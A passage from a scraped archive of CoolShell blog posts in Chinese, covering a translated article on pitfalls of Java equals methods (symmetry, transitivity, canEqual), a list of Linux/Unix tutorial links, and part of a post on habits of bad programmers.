false</pre>\n<p>“p等价于cp”的比较这个调用的是定义在Point类上的equals方法。这个方法只考虑两个点的坐标。因此比较返回真。在另外一方面，“cp等价于p”的比较这个调用的是定义在ColoredPoint类上的equals方法，返回的结果却是false，这是因为p不是ColoredPoint，所以equals这个定义违背了对称性。</p>\n<p>违背对称性对于集合来说将导致不可以预期的后果，例如：</p>\n<pre class=\"brush: java\">Set&lt;Point&gt; hashSet1 = new java.util.HashSet&lt;Point&gt;();\nhashSet1.add(p);\nSystem.out.println(hashSet1.contains(cp));    // 打印 false\n\nSet&lt;Point&gt; hashSet2 = new java.util.HashSet&lt;Point&gt;();\nhashSet2.add(cp);\nSystem.out.println(hashSet2.contains(p));    // 打印 true</pre>\n<p>因此虽然p和cp是等价的，但是contains测试中一个返回成功，另外一个却返回失败。<br/>\n你如何修改equals的定义，才能使得这个方法满足对称性？本质上说有两种方法，你可以使得这种关系变得更一般化或更严格。更一般化的意思是这一对对象，a和b，被用于进行对比，无论是a比b还是b比a 都返回true，下面是代码：</p>\n<pre class=\"brush: java\">public class ColoredPoint extends Point { // Problem: equals not transitive\n\n    private final Color color;\n\n    public ColoredPoint(int x, int y, Color color) {\n        super(x, y);\n        this.color = color;\n    }\n\n    @Override public boolean equals(Object other) {\n        boolean result = false;\n        if (other instanceof ColoredPoint) {\n            ColoredPoint that = (ColoredPoint) other;\n            result = (this.color.equals(that.color) &amp;&amp; super.equals(that));\n        }\n        else if (other instanceof Point) {\n            Point that = (Point) other;\n            result = that.equals(this);\n        }\n        return result;\n    }\n}</pre>\n<p>在ColoredPoint中的equals的新定义比老定义中检查了更多的情况:如果对象是一个Point对象而不是ColoredPoint，方法就转变为Point类的equals方法调用。这个所希望达到的效果就是equals的对称性，不管”cp.equals(p)”还是”p.equals(cp)”的结果都是true。然而这种方法，equals的规范还是被破坏了，现在的问题是这个新等价性不满足传递性。考虑下面的一段代码实例，定义了一个点和这个点上上两种不同颜色点：</p>\n<pre class=\"brush: java\">ColoredPoint redP = new ColoredPoint(1, 2, Color.RED);\nColoredPoint blueP = new ColoredPoint(1, 2, Color.BLUE);</pre>\n<p>redP等价于p，p等价于blueP</p>\n<pre class=\"brush: java\">System.out.println(redP.equals(p)); // prints true\n\nSystem.out.println(p.equals(blueP)); // prints true</pre>\n<p>然而，对比redP和blueP的结果是false:</p>\n<pre class=\"brush: java\">System.out.println(redP.equals(blueP)); // 打印 false</pre>\n<p>因此，equals的传递性就被违背了。<br/>\n使equals的关系更一般化似乎会将我们带入到死胡同。我们应该采用更严格化的方法。一种更严格化的equals方法是认为不同类的对象是不同的。这个可以通过修改Point类和ColoredPoint类的equals方法来达到。你能增加额外的比较来检查是否运行态的这个Point类和那个Point类是同一个类，就像如下所示的代码一样：</p>\n<pre class=\"brush: java\">// A technically valid, but unsatisfying, equals method\npublic class Point {\n\n    private final int x;\n    private final int y;\n\n    public Point(int x, int y) {\n        this.x = x;\n        this.y = y;\n    }\n\n    public int getX() {\n        return x;\n    }\n\n    public int getY() {\n        return y;\n    }\n\n    @Override public boolean equals(Object other) {\n        boolean result = false;\n        if (other instanceof Point) {\n            Point that = (Point) other;\n            result = (this.getX() == that.getX() &amp;&amp; this.getY() == that.getY()\n                    <span style=\"color: #339966;\">&amp;&amp; this.getClass().equals(that.getClass())</span>);\n        }\n        return result;\n    }\n\n    @Override public int hashCode() {\n        return (41 * (41 + getX()) + getY());\n    }\n}</pre>\n<p>你现在可以将ColoredPoint类的equals实现用回刚才那个不满足对称性要的equals实现了。</p>\n<pre class=\"brush: java\">public class ColoredPoint extends Point { // 不再违反对称性需求\n\n    private final Color color;\n\n    public ColoredPoint(int x, int y, Color color) {\n        super(x, y);\n        this.color = color;\n    }\n\n    @Override public boolean equals(Object other) {\n        boolean result = false;\n        if (other instanceof ColoredPoint) {\n            ColoredPoint that = (ColoredPoint) other;\n            result = (this.color.equals(that.color) &amp;&amp; super.equals(that));\n        }\n        return result;\n    }\n}</pre>\n<p>这里，Point类的实例只有当和另外一个对象是同样类，并且有同样的坐标时候，他们才被认为是相等的，即意味着 .getClass()返回的是同样的值。这个新定义的等价关系满足了对称性和传递性因为对于比较对象是不同的类时结果总是false。所以着色点(colored point)永远不会等于点(point)。通常这看起来非常合理，但是这里也存在着另外一种争论——这样的比较过于严格了。</p>\n<p>考虑我们如下这种稍微的迂回的方式来定义我们的坐标点(1,2)</p>\n<pre class=\"brush: java\">Point pAnon = new Point(1, 1) {\n    @Override public int getY() {\n        return 2;\n    }\n};</pre>\n<p>pAnon等于p吗？答案是假，因为p和pAnon的java.lang.Class对象不同。p是Point，而pAnon是Point的一个匿名派生类。但是，非常清晰的是pAnon的确是在坐标1，2上的另外一个点。所以将他们认为是不同的点是没有理由的。</p>\n<p>　</p>\n<h4>canEqual 方法</h4>\n<p>到此，我们看其来似乎是遇到阻碍了，存在着一种正常的方式不仅可以在不同类继承层次上定义等价性，并且保证其等价的规范性吗？事实上，的确存在这样的一种方法，但是这就要求除了重定义equals和hashCode外还要另外的定义一个方法。基本思路就是在重载equals(和hashCode)的同时，它应该也要要明确的声明这个类的对象永远不等价于其他的实现了不同等价方法的超类的对象。为了达到这个目标，我们对每一个重载了equals的类新增一个方法canEqual方法。这个方法的方法签名是：</p>\n<pre class=\"brush: java\">public boolean canEqual(Object other)</pre>\n<p>如果other 对象是canEquals(重)定义那个类的实例时，那么这个方法应该返回真，否则返回false。这个方法由equals方法调用，并保证了两个对象是可以相互比较的。下面Point类的新的也是最终的实现：</p>\n<pre class=\"brush: java\">public class Point {\n\n    private final int x;\n    private final int y;\n\n    public Point(int x, int y) {\n        this.x = x;\n        this.y = y;\n    }\n\n    public int getX() {\n        return x;\n    }\n\n    public int getY() {\n        return y;\n    }\n\n    @Override public boolean equals(Object other) {\n        boolean result = false;\n        if (other instanceof Point) {\n            Point that = (Point) other;\n            result =<span style=\"color: #339966;\">(that.canEqual(this) &amp;&amp; </span>this.getX() == that.getX() &amp;&amp; this.getY() == that.getY());\n        }\n        return result;\n    }\n\n    @Override public int hashCode() {\n        return (41 * (41 + getX()) + getY());\n    }\n<span style=\"color: #339966;\">\n    public boolean canEqual(Object other) {\n        return (other instanceof Point);\n    }\n</span>\n}</pre>\n<p>这个版本的Point类的equals方法中包含了一个额外的需求，通过canEquals方法来决定另外一个对象是否是是满足可以比较的对象。在Point中的canEqual宣称了所有的Point类实例都能被比较。</p>\n<p>下面是ColoredPoint相应的实现</p>\n<pre class=\"brush: java\">public class ColoredPoint extends Point { // 不再违背对称性\n\n    private final Color color;\n\n    public ColoredPoint(int x, int y, Color color) {\n        super(x, y);\n        this.color = color;\n    }\n\n    @Override public boolean equals(Object other) {\n        boolean result = false;\n        if (other instanceof ColoredPoint) {\n            ColoredPoint that = (ColoredPoint) other;\n            result = <span style=\"color: #339966;\">(that.canEqual(this) &amp;&amp; </span>this.color.equals(that.color) &amp;&amp; super.equals(that));\n        }\n        return result;\n    }\n\n    @Override public int hashCode() {\n        return (41 * super.hashCode() + color.hashCode());\n    }\n<span style=\"color: #339966;\">\n    @Override public boolean canEqual(Object other) {\n        return (other instanceof ColoredPoint);\n    }\n</span>}</pre>\n<p>在上显示的新版本的Point类和ColoredPoint类定义保证了等价的规范。等价是对称和可传递的。比较一个Point和ColoredPoint类总是返回false。因为点p和着色点cp,“p.equals(cp)返回的是假。并且，因为cp.canEqual(p)总返回false。相反的比较，cp.equals(p)同样也返回false，由于p不是一个ColoredPoint，所以在ColoredPoint的equals方法体内的第一个instanceof检查就失败了。</p>\n<p>另外一个方面，不同的Point子类的实例却是可以比较的，同样没有重定义等价性方法的类也是可以比较的。对于这个新类的定义，p和pAnon的比较将总返回true。下面是一些例子：</p>\n<pre class=\"brush: java\">Point p = new Point(1, 2);\n\nColoredPoint cp = new ColoredPoint(1, 2, Color.INDIGO);\n\nPoint pAnon = new Point(1, 1) {\n    @Override public int getY() {\n        return 2;\n    }\n};\n\nSet&lt;Point&gt; coll = new java.util.HashSet&lt;Point&gt;();\ncoll.add(p);\n\nSystem.out.println(coll.contains(p)); // 打印 true\n\nSystem.out.println(coll.contains(cp)); // 打印 false\n\nSystem.out.println(coll.contains(pAnon)); // 打印 true</pre>\n<p>这些例子显示了如果父类在equals的实现定义并调用了canEquals，那么开发人员实现的子类就能决定这个子类是否可以和它父类的实例进行比较。例如ColoredPoint，因为它以”一个着色点永远不可以等于普通不带颜色的点重载了” canEqual，所以他们就不能比较。但是因为pAnon引用的匿名子类没有重载canEqual,因此它的实例就可以和Point的实例进行对比。</p>\n<p>canEqual方法的一个潜在的争论是它是否违背了Liskov替换准则(LSP)。例如，通过比较运行态的类来实现的比较技术(<strong>译者注：</strong> canEqual的前一版本，使用.getClass()的那个版本)，将导致不能定义出一个子类，这个子类的实例可以和其父类进行比较，因此就违背了LSP。这是因为，LSP原则是这样的，在任何你能使用父类的地方你都可以使用子类去替换它。在之前例子中，虽然cp的x,y坐标匹配那些在集合中的点，然而”coll.contains(cp)”仍然返回false，这看起来似乎违背得了LSP准则，因为你不能这里能使用Point的地方使用一个ColoredPointed。但是我们认为这种解释是错误的，因为LSP原则并没有要求子类和父类的行为一致，而仅要求其行为能一种方式满足父类的规范。</p>\n<p>通过比较运行态的类来编写equals方法(<strong>译者注：</strong> canEqual的前一版本，使用.getClass()的那个版本)的问题并不是违背LSP准则的问题，但是它也没有为你指明一种创建派生类的实例能和父类实例进行对比的的方法。例如，我们使用这种运行态比较的技术在之前的”coll.contains(pAnon)”将会返回false，并且这并不是我们希望的。相反我们希望“coll.contains(cp)”返回false，因为通过在ColoredPoint中重载的equals，我基本上可以说，一个在坐标1，2上着色点和一个坐标1，2上的普通点并不是一回事。然而，在最后的例子中，我们能传递Point两种不同的子类实例到集合中contains方法，并且我们能得到两个不同的答案，并且这两个答案都正确。</p>\n<p><strong>–全文完–</strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11541.html\"><img alt=\"面向GC的Java编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11175.html\"><img alt=\"Java中的CopyOnWrite容器\" height=\"150\" src=\"../wp-content/uploads/2014/03/cow-copy-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9703.html\"><img alt=\"无锁HashMap的原理与实现\" height=\"150\" src=\"../wp-content/uploads/2013/05/图1-3-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1051.html\">如何在Java中避免equals方法的隐藏陷阱</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-6-21 Linux_Unix 新手和专家教程.html",
    "content": "<html><body><p><em><img alt=\"Linux\" class=\"alignright\" height=\"147\" src=\"http://educhoices.org/cimages/multimages/1/linux_tutorials.jpg\" width=\"192\"/></em>你正在找一些高质量的Linux 和 UNIX 的教程吗？如果是，这篇文章会告诉你到哪去找到这些教程。这里我们将给出超过30个相当的不错的 Linux 和 UNIX 在线的教程。</p>\n<p>需要大家注意的是，他们都是英文的，也许有一些也经被翻译到了中文社区，你可以搜索一下。但不管怎么样，我的建议是应该尽可能的去阅读英文。</p>\n<p> <span id=\"more-1042\"></span></p>\n<h2 id=\"section--LinuxAndUNIXTrainingForBeginners\">Linux 和UNIX 的新手培训教程</h2>\n<p> </p>\n<h3 id=\"section--FreeLinuxTutorialsForBeginners\">免费的新手Linux教程</h3>\n<p> </p>\n<ul>\n<li><a href=\"http://www.ibm.com/developerworks/linux/newto/\">Introduction to Linux</a> – 这是来自IBM的教程，用于给那些想学习Linux的人。</li>\n<li><a href=\"http://linux.about.com/c/ec/1.htm\">Linux Desktop 101</a> – 这是一个 14周 课时的教程，主要用于学校里教学生如何在一个PC上运行一个Linux操作系统。</li>\n<li><a href=\"http://tldp.org/LDP/intro-linux/html/index.html\">Hands-On Introduction to Linux</a> – Machtelt Garrels 的一个格式相当不错的教程。</li>\n<li><a href=\"http://www.isd.mel.nist.gov/projects/rtlinux/rtutorial-2.0/doc/tutorial.htm\">Real Time Linux Introduction</a> – 一系列的介绍Linux的教程，来自National Institute of Standards and Technology.</li>\n<li><a href=\"http://www.linux.org/lessons/beginner/index.html\">Getting Started with Linux</a> – 来自Linux Online 的20课时的用于新手的教程。</li>\n<li><a href=\"http://learnlinux.tsf.org.za/courses/web-fundamentals.html\">Linux Fundamentals Course</a> – 一个相当不错的基础教程，大约使用18个小时，让你知道Linux操作系统的最基础的知识。</li>\n<li><a href=\"http://www.beginlinux.org/course/view.php?id=15\">The 35-Command Tutorial</a> – 来自BeginLinux.org 的一个最简单的教程，教你使用 35 个Linux用户必需了解的命令。</li>\n<li><a href=\"http://ocw.novell.com/novell-linux-desktop/getting-started-with-novell-linux-desktop\">Getting Started with Linux Desktop</a> – Novell的自学教程。</li>\n</ul>\n<p> </p>\n<h3 id=\"section--FreeUNIXTutorialsForBeginners\">免费的UNIX 新手教程</h3>\n<p> </p>\n<ul>\n<li><a href=\"http://www.ee.surrey.ac.uk/Teaching/Unix/\">UNIX Tutorial for Beginners</a> – 来自The University of Surrey的新手指南，告诉你Unix系统最基本的特性。</li>\n<li><a href=\"http://snap.nlc.dcccd.edu/learn/idaho/unixindex.html\">A Basic UNIX Tutorial</a> – 这是来自 Idaho State University 教程，主要用于Unix计算的基础，其中有一些很不错的示例和练习。</li>\n<li><a href=\"http://www.devdaily.com/unix/unix-dnld.shtml\">UNIX Training Manual</a> – 这是一个 88页 的培训手册，主要用一些示例来教一个Unix文件系统的相关的命令。严格说来，这并不是一个教程，但也很有用。</li>\n<li><a href=\"http://www.mcsr.olemiss.edu/unixhelp/commanz/index.html\">UNIX Command Tutorial</a> – 来自University of Mississippi 的教学生如果使用Unix命令和操作系统交互的课程。</li>\n<li><a href=\"http://www.softlookup.com/tutorial/Unix/index.asp\">Learn UNIX Tutorial</a> – Soft Lookup 的一个全面的 UNIX 教程，完全可以让你从一个新手变成一个高手。</li>\n<li><a href=\"http://heather.cs.ucdavis.edu/~matloff/UnixAndC/Unix/UnixBareMn.pdf\">UNIX – The Bare Minimum</a> – 来自 UC Davis 教授，提供了一个简单的UNIX介绍。</li>\n<li><a href=\"http://www.upscale.utoronto.ca/GeneralInterest/Harrison/LearnLinux/\">Learning About UNIX</a> – 来自University of Toronto，提供了一些UNIX 和Linux 课程笔记。这个课程关注于UNIX 和Linux 工具。</li>\n<li><a href=\"http://www.unix-manuals.com/tutorials/unix/unix.html\">What is UNIX?</a> – 这个教程提供了一个简单的Unix介绍，以及一个初学者的论坛。</li>\n</ul>\n<p> </p>\n<h2 id=\"section--LinuxAndUNIXTrainingForExperts\">Linux 和 UNIX 专家培训教程</h2>\n<p> </p>\n<h3 id=\"section--FreeLinuxTutorialsForExperts\">免费的Linux高手教程</h3>\n<p> </p>\n<ul>\n<li><a href=\"http://www.linux.org/lessons/advanced/index.html\">Linux Online’s Course for Advanced Users</a> – 这是一个来自Linux Online的高级教程，提供了一系Linux最流行的How-To文档。主要是给那些想了解更多关于Linux安装，配置和维护的人。</li>\n<li><a href=\"http://www.linuxtraining.co.uk/download/new_linux_course_modules.pdf\">Linux System Administration Course</a> – 通过28个课程为Linux系统管理员提供了一个全面的教程。</li>\n<li><a href=\"http://www.howtoforge.com/howtos/linux/kernel\">Kernel Tutorials</a> – 这是在HowToForge上的一个内核级的教程，这个教程相当不错，如果你要了解Linux的内核，你不能错过这个教程。</li>\n<li><a href=\"http://lartc.org/lartc.html\">Advanced Routing and Traffic Control Tutorial</a> – 一个关于Linux网络路由，过滤和传输的教程。</li>\n<li><a href=\"http://ocw.novell.com/suse-linux-enterprise\">Linux Enterprise Server Courses</a> – Novell Training Services 提供给高级用户的培训教程。</li>\n<li><a href=\"http://learnlinux.tsf.org.za/courses/web-net-admin.html\">Linux Network Administration Course</a> – 来自Shuttleworth Foundation的 Linux 网络管理员的基础课程。</li>\n<li><a href=\"http://www.advancedlinuxprogramming.com/\">Advanced Linux Programming</a> – 这是一本电子书可以免费下载。这本书主要教程序员们怎么在Linux下做软件和编程序。</li>\n<li><a href=\"http://www.ibm.com/developerworks/views/linux/libraryview.jsp?type_by=Tutorials\">IBM’s Technical Library</a> – IBM’s Technical Library 提供的一组给高级Linux用户的教程。</li>\n</ul>\n<p> </p>\n<h3 id=\"section--FreeUNIXTutorialsForExperts\">免费的UNIX高手教程</h3>\n<p> </p>\n<ul>\n<li><a href=\"http://www.ussg.iu.edu/UAU/uau.html\">UNIX for Advanced Users</a> – Indiana University的 UNIX Workstation Support Group 提供的一个相当不错的面对UNIX 高级用户的教程。</li>\n<li><a href=\"http://people.ischool.berkeley.edu/~kevin/unix-tutorial/\">Kevin Heard’s UNIX Tutorial</a> – Kevin Heard (UC Berkeley) 的一个相当相当不错的三部教程，从Unix的基础开始，以高级话题结束。</li>\n<li><a href=\"http://members.unine.ch/philippe.renard/unix2.html\">Advanced UNIX Commands</a> – 虽然这是一个命令例表，但他是一个相当不错的索引的速查手册。</li>\n<li><a href=\"http://users.actcom.co.il/~choo/lupg/tutorials/parallel-programming-theory/parallel-programming-theory.html\">Parallel Programming Tutorial</a> – 这个UNIX 教程面对的是Unix下的并行编程 Parallel Programming。</li>\n<li><a href=\"http://tldp.org/LDP/abs/html/\">Advanced Bash Scripting Guide</a> – 来自于Linux Document Project 的教程，一个shell编程由浅入深的教程。</li>\n<li><a href=\"http://www.vtc.com/products/Unix-Shell-Scripting-Advanced-tutorials.htm\">UNIX Shell Scripting Advanced</a> – VTC 有一组视频的 UNIX 的教程。而这一个是指导高级用户如何进行脚本编程。</li>\n<li><a href=\"http://heather.cs.ucdavis.edu/~matloff/UnixAndC/Unix/CShellII.pdf\">Advanced C Shell Programming</a> – 这是UC Davis 的教程，主要教使用如何使用C shell 和tcsh 进行脚本编程。</li>\n</ul>\n<p>文章：<a href=\"http://educhoices.org/articles/Useful_Tutorials_on_Linux_and_UNIX_for_Beginners_and_Experts_Alike.html\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12103.html\"><img alt=\"vfork 挂掉的一个问题\" height=\"150\" src=\"../wp-content/uploads/2014/11/tux-fork-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12103.html\">vfork 挂掉的一个问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9104.html\"><img alt=\"sed 简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/02/sed-superman-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9104.html\">sed 简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9070.html\"><img alt=\"AWK 简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/02/awk-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9070.html\">AWK 简明教程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1042.html\">Linux/Unix 新手和专家教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-6-24 十个让你变成糟糕的程序员的行为.html",
    "content": "<html><body><p>之前本站发表过《<a href=\"https://coolshell.cn/articles/222.html\" target=\"_blank\">优秀程序员的十个习惯</a>》以及《<a href=\"https://coolshell.cn/articles/428.html\" rel=\"bookmark\">程序员需要具备的基本技能</a>》，那是我们需要去学习和培养的。这里，我们主要讨论十个糟糕程序员的特征，主要是需要让我们去避免和小心的。</p>\n<p><strong>1) 情绪化的思维</strong></p>\n<p>如果你开始使用不同颜色的眼光来看待这个世界的话，那么你可能会成为一个很糟糕的程序员。情绪化的思维或态度很有可能会把自己变成一个怪物。相信你经常可以看到很多很糟糕的程序会使用下面的这些语句：</p>\n<ul>\n<li>我的程序不可能有这种问题。</li>\n<li>Java就是shit。</li>\n<li>我最恨的就是使用UML做设计。</li>\n<li>需求怎么老在变，没办干了。</li>\n<li>受不了这些人，他们到底懂不懂啊。</li>\n<li>…… ……</li>\n</ul>\n<p>这些带着情绪化的思维和态度，不但可以让你成为一个很糟糕的程序员，甚至可以影响你的前途。因为，情绪化通常都是魔鬼，会让你做出错误的判断和决定，错误码率的判断和决定直接决定了你的人生。</p>\n<p><span id=\"more-1081\"></span></p>\n<p><strong>2) 怀疑别人</strong></p>\n<p>糟糕的程序总是说：“我的代码一定是正确的，我怀疑编译器有问题”，“我这应该没有问题吧，STL库怎么这么难用啊”。我曾经见过有程序员这样使用STL类：map&lt;char*, char*&gt;，当他发现这样放入字符串后却取不出来，觉得那是STL库的BUG，然后自己写了一个map！我的天啊！</p>\n<p>某些时候，过早的下结论是一个很不好的习惯，任何事情都有其原因，只有知道了原因，你才能知道是谁的问题。一般来说，总是自己出的问题。</p>\n<p><strong>3) 过多关注实现，陷入问题细节</strong></p>\n<p>有些时候，当我们面对一个问题或是一个需求的时候，糟糕的程序员总是会马上去找一个解决方案或是实现，这是一个很不好的习惯。设计模式告诉我们，“喜欢接口，而不是实现”就是告诉我们，认清问题的本质和特性要比如何实现更重要。</p>\n<ul>\n<li>对于一个客户的问题来说，首先应该想到的是如何先让用户正常工作，如何恢复正在“流血”的系统，而不是把用户放在一边而去分析问题的原因和解决方案。</li>\n<li>对于解决一个bug来说，重现bug，了解原来程序的意图是首先重要的事，而不是马上去修改代码，否则必然会引入更多的BUG。</li>\n<li>对于一个需求来说，我们需要了解的需求后面的商业背景，use case和真实意图，而不是去讨论如何实现。只有了解了用户的真实意图，实际使用的方式和案例，你才能真正如果去做设计。</li>\n</ul>\n<p>糟糕的程序总是容易陷入细节，争论于如何实现和实现难题，以及问题的根本原因，而忽略了比这些更重要的东西。只有看懂了整个地图，我们才知道要怎么去走。</p>\n<p><strong>4) 使用并不熟悉的代码</strong></p>\n<p>糟糕的程序员最好的朋友是 Ctrl-C 和 Ctrl-V ，有些时候，他们并不知道代码的确切含义，就开始使用它，有证据表明，由拷贝粘贴引发的bug占了绝大多数。因为，代码总是只能在特定的环境下才能正常地工作，如果代码的上下文改变了，很有可能使得代码产生很多你不知道的行为，当你连代码都控制不住了，你还能编出什么好的程序呢？</p>\n<p><strong>5) 拼命工作而不是聪明的工作</strong></p>\n<p>对于糟糕的程序员，我们总是能看到他们拼命地修正他们的bug，总是花非常多时间并重复地完成某一工作。而好的程序可能会花双倍的时间来准备一个有效的开发环境，工具，以及在开发的时候花双倍甚至10倍的时间来避免一些错误。好的程序员总是会利用一切工具或手段来让自己的工作变得更有效率，总是为在开发的时候尽可能得不出错。后期出错的成本将会是巨大的，而且那时改正错误的压力也是巨大的。所以，糟糕的程序通常会让自己进入一种恶性循环，他们看上去总是疲惫的，总是很辛苦的，所以更没有时间来改善，越没有时间来改善，就有越多的问题。所以，拼命工作有些时候可能表明你不是一个好的程序员。</p>\n<p><strong>6) 总是在等待、找借口以及抱怨</strong></p>\n<p>当需求不明确的时候，当环境不是很满意的时候，他们总是在等待别人的改善。出现问题的时候，总是在找借口，或是抱怨这也不好，那也不好，所以自己当然就没有做好。糟糕的程序员总是希望自己的所处的环境是最好的，有明确的需求，有非常不错的开发环境，有足够的时间，有不错的QA，还有很强的team leader，以及体贴自己的经理，有足够的培训，有良好的讨论，有别人强有力的支持……，这是一种“饭来张口，衣来伸手”的态度，这个世界本来就不完美，一个团队需要所有人去奋斗，况且，如果什么都变得完美了，那么，你的价值何在吗？driving instead of waiting, leading instead of following.</p>\n<p><strong>7) 滋生办公室政治</strong></p>\n<p>有句话叫“丑女多作怪”，意思是说如果一个自己没有真实的能力的话，那么他一定会在其它方面作文章。糟糕的程序员也是这样，如果他们程序编不好的话，比不过别人的话，他们通常会去靠指责别人，推脱责任，或是排挤有能力的人，等等不正常的手段来保全自己。所以，糟糕的程序通常伴随着办公室政治。</p>\n<p><strong>8 ) 说得多做得少</strong></p>\n<p>糟糕的程序员总是觉得自己什么都懂，他们并不会觉得自己的认识和知识都是有限的。这就是所谓的夸夸其谈，是的，什么都做不好的程序员能靠什么混日子呢？就是吹啊吹啊。</p>\n<p>另一个表现方式是他们在评论起别人的程序或是设计，总是能挑出一堆毛病，但自己的程序写得也很烂。总是批评抱怨，而没有任何有建设性的意见，或是提出可行的解决方案。</p>\n<p>这些糟糕的程序员，总是喜欢以批评别人的程序而达到显示自己的优秀。</p>\n<p><strong>9) 顽固</strong></p>\n<p>当你给出一打证据说明那里有一个更好的方案，那里有一个更好的方向的时候，他们总是会倔强的认为他们自己的做法才是最好的。一个我亲身经历的事例就是，当我看到一个新来的程序员在解决一个问题的时候走到了错误的方向上时，我提醒他，你可能走错了，应该是另外那边，并且我证明了给他看还有一个更为简单的方法，有。然而，这位程序员却告诉我，“那是我的方法，我一定要把之走下去，不然我会非常难受”，于是，在三天后的代码评审中，在经过顽固地解释以及一片质疑声中，他不得不采用了我最先告诉他的那个方法。</p>\n<p>这些程序员，从来不会去想，也不会去找人讨论还有没有更好的方法，而是坚持自己的想法，那怕是条死路都一往直前，不撞南墙永不回头。</p>\n<p><strong>10) 